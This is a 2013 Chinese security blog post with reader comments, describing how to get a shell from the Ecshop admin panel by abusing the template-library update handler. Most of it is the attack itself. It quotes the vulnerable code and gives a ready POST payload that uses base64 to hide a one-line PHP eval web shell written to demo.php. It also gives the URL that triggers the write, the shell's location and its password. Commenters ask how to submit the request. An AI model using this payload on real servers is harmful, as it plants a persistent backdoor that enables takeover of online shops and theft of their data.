Ecshop 后台getshell

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

if ($_REQUEST['act'] == 'update_library')

{
    check_authz_json('library_manage');

    $html = stripslashes(json_str_iconv($_POST['html']));

    $lib_file = '../themes/' . $_CFG['template'] . '/library/' . $_POST['lib'] . '.lbi'; //模板文件

    $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

    $org_html = str_replace("xEFxBBxBF", '', file_get_contents($lib_file));

    if (@file_exists($lib_file) === true && @file_put_contents($lib_file, $html))//写出
    {
        @file_put_contents('../temp/backup/library/' . $_CFG['template'] . '-' . $_POST['lib'] . '.lbi', $org_html);
        make_json_result('', $_LANG['update_lib_success']);
    }
    else
    {
        make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' . $_CFG['template'] . '/library'));
    }
}

那么找个比较方便调用了模板的文件
index.php

if ($act == 'cat_rec')

{

    $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

    $rec_type = !empty($_REQUEST['rec_type']) ? intval($_REQUEST['rec_type']) : '1';

    $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

    include_once('includes/cls_json.php');

    $json = new JSON;

    $result   = array('error' => 0, 'content' => '', 'type' => $rec_type, 'cat_id' => $cat_id);

    $children = get_children($cat_id);

    $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

    $smarty->assign('cat_rec_sign', 1);

    $result['content'] = $smarty->fetch('library/recommend_' . $rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

        echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

        echo $rec_array[$rec_type];

    die($json->encode($result));

}

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容:

lib=recommend_best&html={if fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址:http://localhost/ec/demo.php
密码c

作者:Cond0r

本文固定链接: https://www.unhonker.com/bug/885.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2013年01月07日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Ecshop 后台getshell | 90' s Blog|关注网络信息安全
关键字:

Ecshop 后台getshell:目前有4 条留言

  1. 沙发
    Anycn:

    你好,我在网上POST软件提交,总是失败,想问下你是怎么提交的。。。可以有过程吗?

    2013-01-09 16:05
    • honker90:

      post的内容不完整。 博客的原因导致不换行

      2013-01-09 20:46
    • linux:

      请问你可以提交了?如何后台传shell,请一起分享

      2013-01-15 21:35
      • honker90:

        post的内容不完整。 博客的原因导致不换行

        2013-01-17 21:17

发表评论

您必须 [ 登录 ] 才能发表留言!